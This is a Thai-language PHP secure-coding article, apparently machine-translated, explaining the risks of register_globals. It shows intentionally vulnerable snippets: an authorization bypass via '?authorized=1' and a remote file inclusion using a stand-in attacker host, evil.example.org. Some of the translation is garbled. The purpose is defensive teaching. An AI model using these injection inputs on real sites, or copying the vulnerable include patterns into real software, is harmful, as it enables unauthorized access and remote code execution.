พารามิเตอร์ register_globals ถูกปิดใช้งานตามค่าเริ่มต้นใน PHP เวอร์ชัน 4.2.0 ขึ้นไป แม้ว่าสิ่งนี้จะไม่ถือว่าเป็นช่องโหว่ด้านความปลอดภัย แต่ก็ถือเป็นความเสี่ยงด้านความปลอดภัยอย่างแน่นอน ดังนั้น register_globals ควรถูกปิดบังเสมอในระหว่างการพัฒนา
เหตุใดจึงเป็นความเสี่ยงด้านความปลอดภัย? แต่ละสถานการณ์ต้องมีคำอธิบายแยกต่างหากเพื่ออธิบายให้ชัดเจน และเป็นเรื่องยากมากที่จะยกตัวอย่างที่เหมาะสมสำหรับทุกสถานการณ์เพียงตัวอย่างเดียว อย่างไรก็ตาม ตัวอย่างที่พบบ่อยที่สุดได้อธิบายไว้ในคู่มือ PHP:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';} >When พารามิเตอร์ register_globals เปิดอยู่ หน้านี้สามารถเข้าถึงได้โดยใช้พารามิเตอร์ ?authorized=1 ดังนั้นจึงข้ามการควบคุมการเข้าถึง แน่นอนว่าช่องโหว่ที่เห็นได้ชัดนี้เป็นผลมาจากการพัฒนาที่ไม่ดีมากกว่า register_globals แต่มันเพิ่มโอกาสที่จะเกิดช่องโหว่ที่เป็นอันตรายได้อย่างชัดเจน เมื่อกำจัดผลกระทบนี้ ตัวแปรส่วนกลางทั่วไป (เช่น $authorized ในตัวอย่างนี้) จะไม่ได้รับผลกระทบจากข้อมูลที่ลูกค้าส่งมาอีกต่อไป วิธีที่ดีที่สุดคือการเริ่มต้นตัวแปรทั้งหมดและตั้งค่าพารามิเตอร์ error_reporting เป็น E_ALL เพื่อไม่ให้ละเลยการใช้ตัวแปรที่ไม่ได้กำหนดค่าเริ่มต้นในระหว่างการพัฒนา
อีกตัวอย่างหนึ่งเกี่ยวกับ register_globals คือปัญหาอาจเกิดขึ้นเมื่อใช้ include เพื่อรวมพาธไดนามิก:
<?phpinclude "$path/script.php";?> เมื่อพารามิเตอร์ register_globals เปิดอยู่ หน้านี้สามารถใช้ ?path=http%3A % การเข้าถึงพารามิเตอร์ 2F%2Fevil.example.org%2F%3F ทำให้โค้ดในตัวอย่างนี้เทียบเท่ากับโค้ดต่อไปนี้:
<?phpinclude 'http://evil.example.org/?/script.php'; >If the พารามิเตอร์ Allow_url_fopen เปิดอยู่ (เปิดอยู่โดยค่าเริ่มต้นแม้ใน php.ini-recommended) ซึ่งจะรวมไฟล์ระยะไกลเช่น http://evil.example.org/ เช่นเดียวกับไฟล์ในเครื่อง นี่เป็นช่องโหว่ด้านความปลอดภัยทั่วไปที่พบได้แม้กระทั่งในโครงการโอเพ่นซอร์สที่มีชื่อเสียงบางโครงการ
การเริ่มต้น $path สามารถหลีกเลี่ยงอันตรายที่ซ่อนอยู่นี้ได้โดยไม่ต้องป้องกันพารามิเตอร์ register_globals อย่างไรก็ตาม ข้อผิดพลาดของนักพัฒนาอาจส่งผลให้ตัวแปรที่ไม่ได้เตรียมใช้งาน การแก้ไขการกำหนดค่าส่วนกลางเพื่อบล็อกพารามิเตอร์ register_globals สามารถหลีกเลี่ยงอันตรายที่ซ่อนอยู่นี้จากการถูกละเลยได้มากที่สุด
ความสะดวกสบายเป็นสิ่งที่ดีเสมอ ในอดีต เราต้องแยกแยะระหว่างข้อมูลในแบบฟอร์มและตัวแปรทั่วไปด้วยตนเอง นอกจากนี้ยังสะดวกมากที่จะใช้อาร์เรย์ส่วนกลางในตัวของ $_POST และ $_GET และไม่คุ้มที่จะรับความเสี่ยงที่เกิดจากการเปิดพารามิเตอร์ register_globals แม้ว่าฉันจะไม่เห็นด้วยอย่างยิ่งว่าการเปิดพารามิเตอร์ register_globals นั้นเท่ากับความปลอดภัยที่อ่อนแอ แต่ฉันขอแนะนำอย่างยิ่งให้ตั้งค่าเป็นปิด
ควรเพิ่มว่าการบล็อกพารามิเตอร์ register_globals จะช่วยให้นักพัฒนาให้ความสำคัญกับแหล่งข้อมูลมากขึ้น และนี่คือคุณภาพที่นักพัฒนาที่คำนึงถึงความปลอดภัยควรมี